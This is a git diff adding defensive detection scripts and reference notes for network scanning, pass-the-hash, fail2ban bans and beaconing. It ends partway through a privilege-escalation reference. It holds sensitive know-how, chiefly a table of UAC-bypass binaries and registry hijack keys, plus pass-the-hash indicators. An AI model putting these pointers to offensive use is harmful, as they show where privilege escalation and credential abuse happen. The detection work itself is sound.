list(Path(output_dir).glob("*.log")) + return { + "pcap": pcap_path, + "output_dir": output_dir, + "logs_generated": [l.name for l in logs], + "exit_code": result.returncode, + } + except Exception as e: + return {"error": str(e)} + + +def generate_report(log_dir=None): + """Generate comprehensive Zeek network analysis report.""" + log_dir = log_dir or ZEEK_LOG_DIR + return { + "timestamp": datetime.utcnow().isoformat() + "Z", + "status": check_zeek_status(), + "connections": parse_conn_log(os.path.join(log_dir, "conn.log")), + "dns": parse_dns_log(os.path.join(log_dir, "dns.log")), + "tls": parse_ssl_log(os.path.join(log_dir, "ssl.log")), + "beaconing": detect_beaconing(os.path.join(log_dir, "conn.log")), + } + + +if __name__ == "__main__": + action = sys.argv[1] if len(sys.argv) > 1 else "report" + log_dir = sys.argv[2] if len(sys.argv) > 2 else ZEEK_LOG_DIR + if action == "report": + print(json.dumps(generate_report(log_dir), indent=2, default=str)) + elif action == "connections": + print(json.dumps(parse_conn_log(os.path.join(log_dir, "conn.log")), indent=2)) + elif action == "dns": + print(json.dumps(parse_dns_log(os.path.join(log_dir, "dns.log")), indent=2)) + elif action == "tls": + print(json.dumps(parse_ssl_log(os.path.join(log_dir, "ssl.log")), indent=2)) + elif action == "beaconing": + print(json.dumps(detect_beaconing(os.path.join(log_dir, "conn.log")), indent=2)) + elif action == "pcap" and len(sys.argv) > 2: + print(json.dumps(analyze_pcap(sys.argv[2]), indent=2)) + else: + print("Usage: agent.py [report|connections|dns|tls|beaconing|pcap ] [log_dir]") diff --git a/skills/detecting-network-scanning-with-ids-signatures/LICENSE b/skills/detecting-network-scanning-with-ids-signatures/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-network-scanning-with-ids-signatures/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-network-scanning-with-ids-signatures/references/api-reference.md b/skills/detecting-network-scanning-with-ids-signatures/references/api-reference.md new file mode 100644 index 00000000..91716a4d --- /dev/null +++ b/skills/detecting-network-scanning-with-ids-signatures/references/api-reference.md @@ -0,0 +1,66 @@ +# API Reference: Detecting Network Scanning with IDS Signatures + +## Scan Types and Detection + +| Scan Type | Method | Detection | +|-----------|--------|-----------| +| SYN Scan | Half-open SYN packets | Many SYN without ACK | +| Connect Scan | Full TCP handshake | Many connections, short duration | +| Host Sweep | Same port, many hosts | Single port, >10 destinations | +| Service Enum | Banner grabbing | Short-lived connections | + +## Suricata EVE JSON Format + +```json +{ + "event_type": "alert", + "src_ip": "10.0.0.5", + "dest_ip": "192.168.1.100", + "alert": { + "signature": "ET SCAN Nmap SYN Scan", + "category": "Attempted Information Leak", + "severity": 2, + "signature_id": 2000001 + } +} +``` + +## Suricata Scan Detection Rules + +``` +alert tcp any any -> $HOME_NET any (msg:"Port Scan Detected"; \ + flags:S; threshold:type both, track by_src, count 25, seconds 60; \ + sid:5000001;) +``` + +## Zeek conn.log Fields + +``` +#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p proto service + duration orig_bytes resp_bytes conn_state +``` + +## Detection Thresholds + +| Metric | Threshold | Severity | +|--------|-----------|----------| +| Unique ports per destination | >20 | HIGH | +| Unique ports >100 | >100 | CRITICAL | +| Hosts per single port sweep | >10 | MEDIUM | +| Hosts >50 | >50 | HIGH | + +## Splunk SPL Detection + +```spl +index=network +| stats dc(dest_port) as unique_ports by src_ip, dest_ip +| where unique_ports > 20 +| sort -unique_ports +``` + +## CLI Usage + +```bash +python agent.py --eve-log eve.json +python agent.py --conn-log conn.log --port-threshold 25 --sweep-threshold 15 +``` diff --git a/skills/detecting-network-scanning-with-ids-signatures/scripts/agent.py b/skills/detecting-network-scanning-with-ids-signatures/scripts/agent.py new file mode 100644 index 00000000..56c654f2 --- /dev/null +++ b/skills/detecting-network-scanning-with-ids-signatures/scripts/agent.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 +"""Network scanning detection agent using IDS signature analysis. + +Detects port scanning, host sweeps, and service enumeration by analyzing +Suricata/Snort alerts and connection logs for scanning patterns. +""" + +import argparse +import json +import re +import sys +from collections import Counter, defaultdict +from datetime import datetime + +SCAN_SIGNATURES = { + "SYN_SCAN": {"ports_threshold": 20, "severity": "HIGH", "mitre": "T1046"}, + "CONNECT_SCAN": {"ports_threshold": 15, "severity": "HIGH", "mitre": "T1046"}, + "UDP_SCAN": {"ports_threshold": 20, "severity": "MEDIUM", "mitre": "T1046"}, + "XMAS_SCAN": {"severity": "HIGH", "mitre": "T1046"}, + "FIN_SCAN": {"severity": "HIGH", "mitre": "T1046"}, + "NULL_SCAN": {"severity": "HIGH", "mitre": "T1046"}, + "HOST_SWEEP": {"hosts_threshold": 10, "severity": "MEDIUM", "mitre": "T1018"}, + "SERVICE_ENUM": {"severity": "MEDIUM", "mitre": "T1046"}, +} + +NMAP_SIGNATURES = [ + r"Nmap\s+Scripting\s+Engine", r"nmap", r"masscan", + r"zmap", r"rustscan", r"unicornscan", +] + + +def parse_suricata_eve(filepath, event_type="alert"): + events = [] + with open(filepath, "r") as f: + for line in f: + try: + evt = json.loads(line.strip()) + if evt.get("event_type") == event_type: + events.append(evt) + except json.JSONDecodeError: + continue + return events + + +def parse_connection_log(filepath): + connections = [] + with open(filepath, "r") as f: + headers = None + for line in f: + if line.startswith("#fields"): + headers = line.strip().split("\t")[1:] + continue + if line.startswith("#"): + continue + if not headers: + continue + fields = line.strip().split("\t") + if len(fields) >= len(headers): + connections.append(dict(zip(headers, fields))) + return connections + + +def detect_port_scan(connections, threshold=20): + findings = [] + src_dst_ports = defaultdict(set) + src_dst_count = defaultdict(int) + + for conn in connections: + src = conn.get("id.orig_h", "") + dst = conn.get("id.resp_h", "") + port = conn.get("id.resp_p", "") + state = conn.get("conn_state", "") + + src_dst_ports[f"{src}->{dst}"].add(port) + src_dst_count[f"{src}->{dst}"] += 1 + + for pair, ports in src_dst_ports.items(): + if len(ports) >= threshold: + src = pair.split("->")[0] + dst = pair.split("->")[1] + findings.append({ + "type": "port_scan", + "source": src, "destination": dst, + "unique_ports": len(ports), + "total_connections": src_dst_count[pair], + "severity": "CRITICAL" if len(ports) > 100 else "HIGH", + "mitre": "T1046", + }) + return findings + + +def detect_host_sweep(connections, threshold=10): + findings = [] + src_dsts = defaultdict(set) + src_port = defaultdict(set) + + for conn in connections: + src = conn.get("id.orig_h", "") + dst = conn.get("id.resp_h", "") + port = conn.get("id.resp_p", "") + src_dsts[src].add(dst) + src_port[f"{src}:{port}"].add(dst) + + for src_p, hosts in src_port.items(): + if len(hosts) >= threshold: + src, port = src_p.rsplit(":", 1) + findings.append({ + "type": "host_sweep", + "source": src, + "port": port, + "unique_hosts": len(hosts), + "severity": "HIGH" if len(hosts) > 50 else "MEDIUM", + "mitre": "T1018", + }) + return findings + + +def analyze_ids_alerts(alerts): + findings = [] + for alert in alerts: + sig = alert.get("alert", {}).get("signature", "") + category = alert.get("alert", {}).get("category", "") + src = alert.get("src_ip", "") + dst = alert.get("dest_ip", "") + severity = alert.get("alert", {}).get("severity", 3) + + for pattern in NMAP_SIGNATURES: + if re.search(pattern, sig, re.IGNORECASE): + findings.append({ + "type": "scanner_detected", + "tool": pattern.replace("\\s+", " "), + "source": src, "destination": dst, + "signature": sig, + "severity": "HIGH", + "mitre": "T1046", + }) + + if "scan" in category.lower() or "scan" in sig.lower(): + findings.append({ + "type": "ids_scan_alert", + "source": src, "destination": dst, + "signature": sig, "category": category, + "severity": "HIGH" if severity <= 2 else "MEDIUM", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Network Scanning Detector") + parser.add_argument("--eve-log", help="Suricata EVE JSON log") + parser.add_argument("--conn-log", help="Zeek conn.log file") + parser.add_argument("--port-threshold", type=int, default=20) + parser.add_argument("--sweep-threshold", type=int, default=10) + args = parser.parse_args() + + results = {"timestamp": datetime.utcnow().isoformat() + "Z", "findings": []} + + if args.eve_log: + alerts = parse_suricata_eve(args.eve_log) + results["findings"].extend(analyze_ids_alerts(alerts)) + + if args.conn_log: + connections = parse_connection_log(args.conn_log) + results["findings"].extend(detect_port_scan(connections, args.port_threshold)) + results["findings"].extend(detect_host_sweep(connections, args.sweep_threshold)) + + results["total_findings"] = len(results["findings"]) + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-pass-the-hash-attacks/LICENSE b/skills/detecting-pass-the-hash-attacks/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-pass-the-hash-attacks/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-pass-the-hash-attacks/references/api-reference.md b/skills/detecting-pass-the-hash-attacks/references/api-reference.md new file mode 100644 index 00000000..df4fecdb --- /dev/null +++ b/skills/detecting-pass-the-hash-attacks/references/api-reference.md @@ -0,0 +1,43 @@ +# API Reference: Detecting Pass-the-Hash Attacks + +## python-evtx Library +```python +from Evtx.Evtx import FileHeader +with open("Security.evtx", "rb") as f: + fh = FileHeader(f) + for record in fh.records(): + xml_string = record.xml() +``` + +## Event 4624 - NTLM Network Logon (PTH Indicator) +```xml +admin +CORP +3 +NTLM +NTLM V2 +NtLmSsp +0 +10.0.0.50 +ATTACKER-PC +``` + +## PTH Detection Indicators +| Field | PTH Value | Normal | +|-------|-----------|--------| +| LogonType | 3 (Network) | Various | +| AuthenticationPackageName | NTLM | Kerberos | +| LogonProcessName | NtLmSsp | Kerberos | +| KeyLength | 0 | 128 | +| LmPackageName | NTLM V1 (weaker) | NTLM V2 | + +## Detection Logic +1. Filter 4624 where LogonType=3 AND AuthenticationPackageName=NTLM +2. Flag events with KeyLength=0 (hash-only authentication) +3. Detect same account authenticating from 3+ different source IPs +4. Detect account used from 3+ different workstation names +5. Correlate with process creation (4688) for post-exploitation activity + +## MITRE ATT&CK +- T1550.002 - Pass the Hash +- T1078 - Valid Accounts diff --git a/skills/detecting-pass-the-hash-attacks/scripts/agent.py b/skills/detecting-pass-the-hash-attacks/scripts/agent.py new file mode 100644 index 00000000..bffedab0 --- /dev/null +++ b/skills/detecting-pass-the-hash-attacks/scripts/agent.py @@ -0,0 +1,152 @@ +#!/usr/bin/env python3 +"""Pass-the-Hash Detection Agent - Detects PTH via NTLM Event 4624 LogonType=3 analysis.""" + +import json +import logging +import argparse +from collections import defaultdict +from datetime import datetime + +from Evtx.Evtx import FileHeader +from lxml import etree + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +NS = {"evt": "http://schemas.microsoft.com/win/2004/08/events/event"} + + +def parse_ntlm_logons(evtx_path): + """Parse Event 4624 NTLM network logons from Security EVTX.""" + ntlm_logons = [] + with open(evtx_path, "rb") as f: + fh = FileHeader(f) + for record in fh.records(): + try: + xml = record.xml() + root = etree.fromstring(xml.encode("utf-8")) + eid = root.find(".//evt:System/evt:EventID", NS) + if eid is None or eid.text != "4624": + continue + data = {} + for elem in root.findall(".//evt:EventData/evt:Data", NS): + data[elem.get("Name", "")] = elem.text or "" + if data.get("LogonType") == "3" and data.get("AuthenticationPackageName") == "NTLM": + time_elem = root.find(".//evt:System/evt:TimeCreated", NS) + ntlm_logons.append({ + "timestamp": time_elem.get("SystemTime", "") if time_elem is not None else "", + "account": data.get("TargetUserName", ""), + "domain": data.get("TargetDomainName", ""), + "source_ip": data.get("IpAddress", ""), + "workstation": data.get("WorkstationName", ""), + "logon_process": data.get("LogonProcessName", ""), + "lm_package": data.get("LmPackageName", ""), + "key_length": data.get("KeyLength", ""), + }) + except Exception: + continue + logger.info("Parsed %d NTLM network logon events", len(ntlm_logons)) + return ntlm_logons + + +def detect_pth_indicators(ntlm_logons): + """Detect Pass-the-Hash indicators in NTLM logon events.""" + pth_candidates = [] + for logon in ntlm_logons: + indicators = [] + if logon["logon_process"].strip() == "NtLmSsp": + indicators.append("NtLmSsp logon process") + if logon["lm_package"].strip() == "NTLM V1": + indicators.append("NTLMv1 (weaker, often PTH)") + if logon["key_length"] == "0": + indicators.append("Zero key length (PTH indicator)") + if logon["workstation"] and logon["source_ip"]: + indicators.append("Remote NTLM with workstation name") + if indicators: + logon["pth_indicators"] = indicators + logon["confidence"] = min(len(indicators) * 25, 100) + pth_candidates.append(logon) + logger.info("Found %d PTH candidate events", len(pth_candidates)) + return pth_candidates + + +def detect_lateral_movement_chains(ntlm_logons): + """Detect chains of NTLM logons from the same account across multiple hosts.""" + account_hosts = defaultdict(set) + account_events = defaultdict(list) + for logon in ntlm_logons: + account = f"{logon['domain']}\\{logon['account']}" + if not logon["account"].endswith("$"): + account_hosts[account].add(logon["source_ip"]) + account_events[account].append(logon) + chains = [] + for account, hosts in account_hosts.items(): + if len(hosts) >= 3: + chains.append({ + "account": account, + "unique_source_ips": len(hosts), + "total_logons": len(account_events[account]), + "source_ips": list(hosts), + "indicator": "Multi-host NTLM lateral movement", + "severity": "critical" if len(hosts) >= 5 else "high", + }) + logger.info("Found %d lateral movement chains", len(chains)) + return chains + + +def detect_workstation_mismatch(ntlm_logons): + """Detect mismatches between source workstation and expected host.""" + account_workstations = defaultdict(set) + for logon in ntlm_logons: + if logon["account"] and not logon["account"].endswith("$"): + key = f"{logon['domain']}\\{logon['account']}" + account_workstations[key].add(logon["workstation"]) + mismatches = [] + for account, workstations in account_workstations.items(): + if len(workstations) >= 3: + mismatches.append({ + "account": account, + "unique_workstations": len(workstations), + "workstations": list(workstations), + "indicator": "Account used from multiple workstations (PTH spread)", + }) + return mismatches + + +def generate_report(ntlm_logons, pth_candidates, chains, mismatches): + """Generate Pass-the-Hash detection report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "total_ntlm_logons": len(ntlm_logons), + "pth_candidates": len(pth_candidates), + "lateral_movement_chains": len(chains), + "workstation_mismatches": len(mismatches), + "high_confidence_pth": [p for p in pth_candidates if p.get("confidence", 0) >= 75], + "chain_details": chains, + "mismatch_details": mismatches, + "sample_pth_events": pth_candidates[:20], + } + total = len(pth_candidates) + len(chains) + print(f"PTH DETECTION: {len(pth_candidates)} candidates, {len(chains)} lateral chains") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Pass-the-Hash Detection Agent") + parser.add_argument("--evtx-file", required=True, help="Path to Security EVTX file") + parser.add_argument("--output", default="pth_report.json") + args = parser.parse_args() + + ntlm_logons = parse_ntlm_logons(args.evtx_file) + pth_candidates = detect_pth_indicators(ntlm_logons) + chains = detect_lateral_movement_chains(ntlm_logons) + mismatches = detect_workstation_mismatch(ntlm_logons) + + report = generate_report(ntlm_logons, pth_candidates, chains, mismatches) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-port-scanning-with-fail2ban/LICENSE b/skills/detecting-port-scanning-with-fail2ban/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-port-scanning-with-fail2ban/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-port-scanning-with-fail2ban/references/api-reference.md b/skills/detecting-port-scanning-with-fail2ban/references/api-reference.md new file mode 100644 index 00000000..2544e257 --- /dev/null +++ b/skills/detecting-port-scanning-with-fail2ban/references/api-reference.md @@ -0,0 +1,98 @@ +# Fail2ban Port Scan Detection API Reference + +## fail2ban-client CLI + +```bash +# Service status +fail2ban-client status + +# Jail status +fail2ban-client status sshd + +# Ban IP manually +fail2ban-client set sshd banip 192.168.1.100 + +# Unban IP +fail2ban-client set sshd unbanip 192.168.1.100 + +# Reload configuration +fail2ban-client reload + +# Get ban time for jail +fail2ban-client get sshd bantime + +# Set ban time +fail2ban-client set sshd bantime 7200 +``` + +## Jail Configuration (/etc/fail2ban/jail.local) + +```ini +[DEFAULT] +bantime = 3600 +findtime = 600 +maxretry = 5 +banaction = iptables-multiport + +[sshd] +enabled = true +port = ssh +filter = sshd +logpath = /var/log/auth.log +maxretry = 3 +bantime = 3600 + +[portscan] +enabled = true +filter = portscan +logpath = /var/log/syslog +maxretry = 3 +findtime = 300 +bantime = 86400 +action = iptables-allports[name=portscan] +``` + +## Custom Filter (/etc/fail2ban/filter.d/portscan.conf) + +```ini +[Definition] +failregex = UFW BLOCK .* SRC= + iptables .* SRC= .* DPT= +ignoreregex = +``` + +## Ban Actions + +| Action | Description | +|--------|-------------| +| `iptables-multiport` | Ban specific ports via iptables | +| `iptables-allports` | Ban all ports via iptables | +| `nftables-multiport` | Ban via nftables | +| `firewallcmd-rich-rules` | Ban via firewalld | +| `sendmail-whois` | Email notification with WHOIS | +| `abuseipdb` | Report to AbuseIPDB | + +## Log Parsing Patterns + +```bash +# Fail2ban log - count bans per IP +grep "Ban " /var/log/fail2ban.log | grep -oP '\d+\.\d+\.\d+\.\d+' | sort | uniq -c | sort -rn + +# Auth.log - failed SSH logins +grep "Failed password" /var/log/auth.log | grep -oP 'from \K\d+\.\d+\.\d+\.\d+' | sort | uniq -c | sort -rn + +# Syslog - blocked connections (UFW) +grep "UFW BLOCK" /var/log/syslog | grep -oP 'SRC=\K\d+\.\d+\.\d+\.\d+' | sort | uniq -c | sort -rn +``` + +## Escalating Ban Times (recidive jail) + +```ini +[recidive] +enabled = true +filter = recidive +logpath = /var/log/fail2ban.log +bantime = 604800 # 1 week for repeat offenders +findtime = 86400 +maxretry = 3 +``` diff --git a/skills/detecting-port-scanning-with-fail2ban/scripts/agent.py b/skills/detecting-port-scanning-with-fail2ban/scripts/agent.py new file mode 100644 index 00000000..2d0e2a7f --- /dev/null +++ b/skills/detecting-port-scanning-with-fail2ban/scripts/agent.py @@ -0,0 +1,225 @@ +#!/usr/bin/env python3 +"""Fail2ban port scan detection and management agent.""" + +import json +import os +import re +import subprocess +import sys +from collections import Counter +from datetime import datetime + + +FAIL2BAN_CLIENT = "fail2ban-client" +FAIL2BAN_LOG = "/var/log/fail2ban.log" +AUTH_LOG = "/var/log/auth.log" + + +def check_fail2ban_status(): + """Check Fail2ban service status and active jails.""" + try: + result = subprocess.run( + [FAIL2BAN_CLIENT, "status"], capture_output=True, text=True, timeout=10 + ) + if result.returncode != 0: + return {"running": False, "error": result.stderr.strip()} + + jails = [] + for line in result.stdout.splitlines(): + if "Jail list" in line: + jail_str = line.split(":", 1)[1].strip() + jails = [j.strip() for j in jail_str.split(",") if j.strip()] + return {"running": True, "jails": jails, "jail_count": len(jails)} + except FileNotFoundError: + return {"running": False, "error": "fail2ban-client not found"} + + +def get_jail_status(jail_name): + """Get detailed status of a specific jail.""" + try: + result = subprocess.run( + [FAIL2BAN_CLIENT, "status", jail_name], + capture_output=True, text=True, timeout=10 + ) + if result.returncode != 0: + return {"error": result.stderr.strip()} + + info = {"jail": jail_name} + for line in result.stdout.splitlines(): + line = line.strip() + if "Currently failed" in line: + info["currently_failed"] = int(line.split(":", 1)[1].strip()) + elif "Total failed" in line: + info["total_failed"] = int(line.split(":", 1)[1].strip()) + elif "Currently banned" in line: + info["currently_banned"] = int(line.split(":", 1)[1].strip()) + elif "Total banned" in line: + info["total_banned"] = int(line.split(":", 1)[1].strip()) + elif "Banned IP list" in line: + ips = line.split(":", 1)[1].strip() + info["banned_ips"] = [ip.strip() for ip in ips.split() if ip.strip()] + return info + except Exception as e: + return {"error": str(e)} + + +def ban_ip(ip_address, jail_name="sshd"): + """Manually ban an IP address in a specific jail.""" + try: + result = subprocess.run( + [FAIL2BAN_CLIENT, "set", jail_name, "banip", ip_address], + capture_output=True, text=True, timeout=10 + ) + return { + "action": "ban", + "ip": ip_address, + "jail": jail_name, + "success": result.returncode == 0, + "timestamp": datetime.utcnow().isoformat() + "Z", + } + except Exception as e: + return {"action": "ban", "success": False, "error": str(e)} + + +def unban_ip(ip_address, jail_name="sshd"): + """Unban an IP address from a specific jail.""" + try: + result = subprocess.run( + [FAIL2BAN_CLIENT, "set", jail_name, "unbanip", ip_address], + capture_output=True, text=True, timeout=10 + ) + return { + "action": "unban", + "ip": ip_address, + "jail": jail_name, + "success": result.returncode == 0, + "timestamp": datetime.utcnow().isoformat() + "Z", + } + except Exception as e: + return {"action": "unban", "success": False, "error": str(e)} + + +def parse_fail2ban_log(log_path=None, limit=5000): + """Parse Fail2ban log for ban/unban statistics.""" + log_path = log_path or FAIL2BAN_LOG + if not os.path.exists(log_path): + return {"error": f"Log not found: {log_path}"} + + bans = Counter() + unbans = Counter() + jails = Counter() + recent_bans = [] + + with open(log_path, "r") as f: + for i, line in enumerate(f): + if i > limit: + break + if "Ban " in line: + ip_match = re.search(r'Ban\s+(\d+\.\d+\.\d+\.\d+)', line) + jail_match = re.search(r'\[([^\]]+)\]', line) + if ip_match: + ip = ip_match.group(1) + jail = jail_match.group(1) if jail_match else "unknown" + bans[ip] += 1 + jails[jail] += 1 + recent_bans.append({"ip": ip, "jail": jail, "line": line.strip()[:200]}) + elif "Unban " in line: + ip_match = re.search(r'Unban\s+(\d+\.\d+\.\d+\.\d+)', line) + if ip_match: + unbans[ip_match.group(1)] += 1 + + return { + "total_bans": sum(bans.values()), + "total_unbans": sum(unbans.values()), + "unique_banned_ips": len(bans), + "top_banned_ips": bans.most_common(20), + "bans_by_jail": dict(jails), + "recent_bans": recent_bans[-20:], + } + + +def parse_auth_log_ssh(log_path=None): + """Parse auth.log for SSH brute force patterns.""" + log_path = log_path or AUTH_LOG + if not os.path.exists(log_path): + return {"error": f"Auth log not found: {log_path}"} + + failed_ips = Counter() + failed_users = Counter() + success_ips = Counter() + + with open(log_path, "r") as f: + for line in f: + if "Failed password" in line or "Failed publickey" in line: + ip_match = re.search(r'from\s+(\d+\.\d+\.\d+\.\d+)', line) + user_match = re.search(r'for\s+(?:invalid\s+user\s+)?(\S+)', line) + if ip_match: + failed_ips[ip_match.group(1)] += 1 + if user_match: + failed_users[user_match.group(1)] += 1 + elif "Accepted password" in line or "Accepted publickey" in line: + ip_match = re.search(r'from\s+(\d+\.\d+\.\d+\.\d+)', line) + if ip_match: + success_ips[ip_match.group(1)] += 1 + + return { + "total_failed": sum(failed_ips.values()), + "unique_failed_ips": len(failed_ips), + "top_failed_ips": failed_ips.most_common(20), + "top_targeted_users": failed_users.most_common(20), + "successful_logins": success_ips.most_common(10), + } + + +def detect_port_scan_from_logs(log_path=None): + """Detect port scanning patterns from system logs.""" + log_path = log_path or "/var/log/syslog" + if not os.path.exists(log_path): + return {"error": f"Syslog not found: {log_path}"} + + scanners = Counter() + with open(log_path, "r") as f: + for line in f: + if "UFW BLOCK" in line or "iptables" in line.lower(): + ip_match = re.search(r'SRC=(\d+\.\d+\.\d+\.\d+)', line) + if ip_match: + scanners[ip_match.group(1)] += 1 + + port_scanners = {ip: count for ip, count in scanners.items() if count > 20} + return { + "potential_scanners": len(port_scanners), + "scanner_ips": sorted(port_scanners.items(), key=lambda x: x[1], reverse=True)[:20], + } + + +def generate_report(): + """Generate comprehensive Fail2ban security report.""" + return { + "timestamp": datetime.utcnow().isoformat() + "Z", + "service_status": check_fail2ban_status(), + "ban_statistics": parse_fail2ban_log(), + "ssh_analysis": parse_auth_log_ssh(), + "port_scan_detection": detect_port_scan_from_logs(), + } + + +if __name__ == "__main__": + action = sys.argv[1] if len(sys.argv) > 1 else "report" + if action == "report": + print(json.dumps(generate_report(), indent=2, default=str)) + elif action == "status": + print(json.dumps(check_fail2ban_status(), indent=2)) + elif action == "jail" and len(sys.argv) > 2: + print(json.dumps(get_jail_status(sys.argv[2]), indent=2)) + elif action == "ban" and len(sys.argv) > 2: + jail = sys.argv[3] if len(sys.argv) > 3 else "sshd" + print(json.dumps(ban_ip(sys.argv[2], jail), indent=2)) + elif action == "unban" and len(sys.argv) > 2: + jail = sys.argv[3] if len(sys.argv) > 3 else "sshd" + print(json.dumps(unban_ip(sys.argv[2], jail), indent=2)) + elif action == "bans": + print(json.dumps(parse_fail2ban_log(), indent=2)) + elif action == "ssh": + print(json.dumps(parse_auth_log_ssh(), indent=2)) + else: + print("Usage: agent.py [report|status|jail |ban [jail]|unban [jail]|bans|ssh]") diff --git a/skills/detecting-privilege-escalation-attempts/LICENSE b/skills/detecting-privilege-escalation-attempts/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-privilege-escalation-attempts/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-privilege-escalation-attempts/references/api-reference.md b/skills/detecting-privilege-escalation-attempts/references/api-reference.md new file mode 100644 index 00000000..00a5de6a --- /dev/null +++ b/skills/detecting-privilege-escalation-attempts/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference: Detecting Privilege Escalation Attempts + +## Windows Security Event IDs + +| Event ID | Description | +|----------|-------------| +| 4672 | Special privileges assigned to new logon | +| 4673 | A privileged service was called | +| 4674 | Operation attempted on a privileged object | +| 4688 | New process created (token elevation check) | +| 4703 | User right was adjusted | + +## Sysmon Event IDs + +| Event ID | Description | +|----------|-------------| +| 1 | Process Create with IntegrityLevel field | +| 10 | ProcessAccess (token duplication detection) | +| 13 | RegistryEvent (UAC bypass registry keys) | + +## Key Libraries + +- **pywin32** (`pip install pywin32`): `win32evtlog.OpenEventLog()`, `ReadEventLog()`, `CloseEventLog()` +- **python-evtx** (`pip install python-evtx`): Parse EVTX files offline with `Evtx.Evtx(path)` +- **re** (stdlib): Pattern matching for UAC bypass indicators in command lines + +## UAC Bypass Detection Patterns + +| Binary | Registry Key | +|--------|-------------| +| `fodhelper.exe` | `HKCU\Software\Classes\ms-settings\shell\open\command` | +| `eventvwr.exe` | `HKCU\Software\Classes\mscfile\shell\open\command` | +| `sdclt.exe` | `HKCU\Software\Classes\exefile\shell\runas\command` | +| `computerdefaults.exe` | `HKCU\Software\Classes\ms-settings\shell\open\command` | + +## 